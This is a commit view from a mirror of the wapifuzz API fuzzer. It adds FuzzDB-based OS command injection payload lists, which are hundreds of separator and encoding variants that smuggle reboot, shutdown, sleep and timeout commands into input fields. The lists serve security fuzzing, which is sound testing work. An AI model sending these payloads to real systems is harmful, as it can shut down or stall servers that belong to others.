mirror of
https://github.com/ysoftdevs/wapifuzz.git
synced 2026-03-29 21:52:03 +02:00
Folder removed
This commit is contained in:
175
fuzzer/payloads/lists/os-command-injection/unix-injections.txt
Normal file
175
fuzzer/payloads/lists/os-command-injection/unix-injections.txt
Normal file
@@ -0,0 +1,175 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt)
|
||||
|
||||
reboot
|
||||
;reboot
|
||||
;reboot;
|
||||
^reboot
|
||||
|reboot
|
||||
<reboot
|
||||
<reboot;
|
||||
<reboot\n
|
||||
<reboot%0D
|
||||
<reboot%0A
|
||||
&reboot
|
||||
&reboot&
|
||||
&&reboot
|
||||
&&reboot&&
|
||||
%0Dreboot
|
||||
%0Dreboot%0D
|
||||
%0Areboot
|
||||
%0Areboot%0A
|
||||
\nreboot
|
||||
\nreboot\n
|
||||
'reboot'
|
||||
`reboot`
|
||||
;reboot|
|
||||
;reboot/n
|
||||
|reboot;
|
||||
a);reboot
|
||||
a;reboot
|
||||
a);reboot
|
||||
a;reboot;
|
||||
a);reboot|
|
||||
FAIL||reboot
|
||||
CMD=$'reboot';$CMD
|
||||
;CMD=$'reboot';$CMD
|
||||
^CMD=$'reboot';$CMD
|
||||
|CMD=$'reboot';$CMD
|
||||
&CMD=$'reboot';$CMD
|
||||
&&CMD=$'reboot';$CMD
|
||||
%0DCMD=$'reboot';$CMD
|
||||
FAIL||CMD=$'reboot';$CMD
|
||||
CMD=$\'reboot\';$CMD
|
||||
;CMD=$\'reboot\';$CMD
|
||||
^CMD=$\'reboot\';$CMD
|
||||
|CMD=$\'reboot\';$CMD
|
||||
&CMD=$\'reboot\';$CMD
|
||||
&&CMD=$\'reboot\';$CMD
|
||||
%0DCMD=$\'reboot\';$CMD
|
||||
FAIL||CMD=$\'reboot\';$CMD
|
||||
CMD=$"reboot";$CMD
|
||||
;CMD=$"reboot";$CMD
|
||||
^CMD=$"reboot";$CMD
|
||||
|CMD=$"reboot";$CMD
|
||||
&CMD=$"reboot";$CMD
|
||||
&&CMD=$"reboot";$CMD
|
||||
%0DCMD=$"reboot";$CMD
|
||||
FAIL||CMD=$"reboot";$CMD
|
||||
<!--#exec cmd="reboot"-->
|
||||
;system('reboot')
|
||||
|
||||
shutdown
|
||||
;shutdown
|
||||
;shutdown;
|
||||
^shutdown
|
||||
|shutdown
|
||||
<shutdown
|
||||
<shutdown;
|
||||
<shutdown\n
|
||||
<shutdown%0D
|
||||
<shutdown%0A
|
||||
&shutdown
|
||||
&shutdown&
|
||||
&&shutdown
|
||||
&&shutdown&&
|
||||
%0Dshutdown
|
||||
%0Dshutdown%0D
|
||||
%0Ashutdown
|
||||
%0Ashutdown%0A
|
||||
\nshutdown
|
||||
\nshutdown\n
|
||||
'shutdown'
|
||||
`shutdown`
|
||||
;shutdown|
|
||||
;shutdown/n
|
||||
|shutdown;
|
||||
a);shutdown
|
||||
a;shutdown
|
||||
a);shutdown
|
||||
a;shutdown;
|
||||
a);shutdown|
|
||||
FAIL||shutdown
|
||||
CMD=$'shutdown';$CMD
|
||||
;CMD=$'shutdown';$CMD
|
||||
^CMD=$'shutdown';$CMD
|
||||
|CMD=$'shutdown';$CMD
|
||||
&CMD=$'shutdown';$CMD
|
||||
&&CMD=$'shutdown';$CMD
|
||||
%0DCMD=$'shutdown';$CMD
|
||||
FAIL||CMD=$'shutdown';$CMD
|
||||
CMD=$\'shutdown\';$CMD
|
||||
;CMD=$\'shutdown\';$CMD
|
||||
^CMD=$\'shutdown\';$CMD
|
||||
|CMD=$\'shutdown\';$CMD
|
||||
&CMD=$\'shutdown\';$CMD
|
||||
&&CMD=$\'shutdown\';$CMD
|
||||
%0DCMD=$\'shutdown\';$CMD
|
||||
FAIL||CMD=$\'shutdown\';$CMD
|
||||
CMD=$"shutdown";$CMD
|
||||
;CMD=$"shutdown";$CMD
|
||||
^CMD=$"shutdown";$CMD
|
||||
|CMD=$"shutdown";$CMD
|
||||
&CMD=$"shutdown";$CMD
|
||||
&&CMD=$"shutdown";$CMD
|
||||
%0DCMD=$"shutdown";$CMD
|
||||
FAIL||CMD=$"shutdown";$CMD
|
||||
<!--#exec cmd="shutdown"-->
|
||||
;system('shutdown')
|
||||
|
||||
sleep 20000
|
||||
;sleep 20000
|
||||
;sleep 20000;
|
||||
^sleep 20000
|
||||
|sleep 20000
|
||||
<sleep 20000
|
||||
<sleep 20000;
|
||||
<sleep 20000\n
|
||||
<sleep 20000%0D
|
||||
<sleep 20000%0A
|
||||
&sleep 20000
|
||||
&sleep 20000&
|
||||
&&sleep 20000
|
||||
&&sleep 20000&&
|
||||
%0Dsleep 20000
|
||||
%0Dsleep 20000%0D
|
||||
%0Asleep 20000
|
||||
%0Asleep 20000%0A
|
||||
\nsleep 20000
|
||||
\nsleep 20000\n
|
||||
'sleep 20000'
|
||||
`sleep 20000`
|
||||
;sleep 20000|
|
||||
;sleep 20000/n
|
||||
|sleep 20000;
|
||||
a);sleep 20000
|
||||
a;sleep 20000
|
||||
a);sleep 20000
|
||||
a;sleep 20000;
|
||||
a);sleep 20000|
|
||||
FAIL||sleep 20000
|
||||
CMD=$'sleep 20000';$CMD
|
||||
;CMD=$'sleep 20000';$CMD
|
||||
^CMD=$'sleep 20000';$CMD
|
||||
|CMD=$'sleep 20000';$CMD
|
||||
&CMD=$'sleep 20000';$CMD
|
||||
&&CMD=$'sleep 20000';$CMD
|
||||
%0DCMD=$'sleep 20000';$CMD
|
||||
FAIL||CMD=$'sleep 20000';$CMD
|
||||
CMD=$\'sleep 20000\';$CMD
|
||||
;CMD=$\'sleep 20000\';$CMD
|
||||
^CMD=$\'sleep 20000\';$CMD
|
||||
|CMD=$\'sleep 20000\';$CMD
|
||||
&CMD=$\'sleep 20000\';$CMD
|
||||
&&CMD=$\'sleep 20000\';$CMD
|
||||
%0DCMD=$\'sleep 20000\';$CMD
|
||||
FAIL||CMD=$\'sleep 20000\';$CMD
|
||||
CMD=$"sleep 20000";$CMD
|
||||
;CMD=$"sleep 20000";$CMD
|
||||
^CMD=$"sleep 20000";$CMD
|
||||
|CMD=$"sleep 20000";$CMD
|
||||
&CMD=$"sleep 20000";$CMD
|
||||
&&CMD=$"sleep 20000";$CMD
|
||||
%0DCMD=$"sleep 20000";$CMD
|
||||
FAIL||CMD=$"sleep 20000";$CMD
|
||||
<!--#exec cmd="sleep 20000"-->
|
||||
;system('sleep 20000')
|
||||
@@ -0,0 +1,117 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt)
|
||||
|
||||
timeout 20000
|
||||
;timeout 20000
|
||||
;timeout 20000;
|
||||
^timeout 20000
|
||||
|timeout 20000
|
||||
<timeout 20000
|
||||
<timeout 20000;
|
||||
<timeout 20000\n
|
||||
<timeout 20000%0D
|
||||
<timeout 20000%0A
|
||||
&timeout 20000
|
||||
&timeout 20000&
|
||||
&&timeout 20000
|
||||
&&timeout 20000&&
|
||||
%0Dtimeout 20000
|
||||
%0Dtimeout 20000%0D
|
||||
%0Atimeout 20000
|
||||
%0Atimeout 20000%0A
|
||||
\ntimeout 20000
|
||||
\ntimeout 20000\n
|
||||
'timeout 20000'
|
||||
`timeout 20000`
|
||||
;timeout 20000|
|
||||
;timeout 20000/n
|
||||
|timeout 20000;
|
||||
a);timeout 20000
|
||||
a;timeout 20000
|
||||
a);timeout 20000
|
||||
a;timeout 20000;
|
||||
a);timeout 20000|
|
||||
FAIL||timeout 20000
|
||||
CMD=$'timeout 20000';$CMD
|
||||
;CMD=$'timeout 20000';$CMD
|
||||
^CMD=$'timeout 20000';$CMD
|
||||
|CMD=$'timeout 20000';$CMD
|
||||
&CMD=$'timeout 20000';$CMD
|
||||
&&CMD=$'timeout 20000';$CMD
|
||||
%0DCMD=$'timeout 20000';$CMD
|
||||
FAIL||CMD=$'timeout 20000';$CMD
|
||||
CMD=$\'timeout 20000\';$CMD
|
||||
;CMD=$\'timeout 20000\';$CMD
|
||||
^CMD=$\'timeout 20000\';$CMD
|
||||
|CMD=$\'timeout 20000\';$CMD
|
||||
&CMD=$\'timeout 20000\';$CMD
|
||||
&&CMD=$\'timeout 20000\';$CMD
|
||||
%0DCMD=$\'timeout 20000\';$CMD
|
||||
FAIL||CMD=$\'timeout 20000\';$CMD
|
||||
CMD=$"timeout 20000";$CMD
|
||||
;CMD=$"timeout 20000";$CMD
|
||||
^CMD=$"timeout 20000";$CMD
|
||||
|CMD=$"timeout 20000";$CMD
|
||||
&CMD=$"timeout 20000";$CMD
|
||||
&&CMD=$"timeout 20000";$CMD
|
||||
%0DCMD=$"timeout 20000";$CMD
|
||||
FAIL||CMD=$"timeout 20000";$CMD
|
||||
<!--#exec cmd="timeout 20000"-->
|
||||
;system('timeout 20000')
|
||||
|
||||
shutdown -h now
|
||||
;shutdown -h now
|
||||
;shutdown -h now;
|
||||
^shutdown -h now
|
||||
|shutdown -h now
|
||||
<shutdown -h now
|
||||
<shutdown -h now;
|
||||
<shutdown -h now\n
|
||||
<shutdown -h now%0D
|
||||
<shutdown -h now%0A
|
||||
&shutdown -h now
|
||||
&shutdown -h now&
|
||||
&&shutdown -h now
|
||||
&&shutdown -h now&&
|
||||
%0Dshutdown -h now
|
||||
%0Dshutdown -h now%0D
|
||||
%0Ashutdown -h now
|
||||
%0Ashutdown -h now%0A
|
||||
\nshutdown -h now
|
||||
\nshutdown -h now\n
|
||||
'shutdown -h now'
|
||||
`shutdown -h now`
|
||||
;shutdown -h now|
|
||||
;shutdown -h now/n
|
||||
|shutdown -h now;
|
||||
a);shutdown -h now
|
||||
a;shutdown -h now
|
||||
a);shutdown -h now
|
||||
a;shutdown -h now;
|
||||
a);shutdown -h now|
|
||||
FAIL||shutdown -h now
|
||||
CMD=$'shutdown -h now';$CMD
|
||||
;CMD=$'shutdown -h now';$CMD
|
||||
^CMD=$'shutdown -h now';$CMD
|
||||
|CMD=$'shutdown -h now';$CMD
|
||||
&CMD=$'shutdown -h now';$CMD
|
||||
&&CMD=$'shutdown -h now';$CMD
|
||||
%0DCMD=$'shutdown -h now';$CMD
|
||||
FAIL||CMD=$'shutdown -h now';$CMD
|
||||
CMD=$\'shutdown -h now\';$CMD
|
||||
;CMD=$\'shutdown -h now\';$CMD
|
||||
^CMD=$\'shutdown -h now\';$CMD
|
||||
|CMD=$\'shutdown -h now\';$CMD
|
||||
&CMD=$\'shutdown -h now\';$CMD
|
||||
&&CMD=$\'shutdown -h now\';$CMD
|
||||
%0DCMD=$\'shutdown -h now\';$CMD
|
||||
FAIL||CMD=$\'shutdown -h now\';$CMD
|
||||
CMD=$"shutdown -h now";$CMD
|
||||
;CMD=$"shutdown -h now";$CMD
|
||||
^CMD=$"shutdown -h now";$CMD
|
||||
|CMD=$"shutdown -h now";$CMD
|
||||
&CMD=$"shutdown -h now";$CMD
|
||||
&&CMD=$"shutdown -h now";$CMD
|
||||
%0DCMD=$"shutdown -h now";$CMD
|
||||
FAIL||CMD=$"shutdown -h now";$CMD
|
||||
<!--#exec cmd="shutdown -h now"-->
|
||||
;system('shutdown -h now')
|
||||
Reference in New Issue
Block a user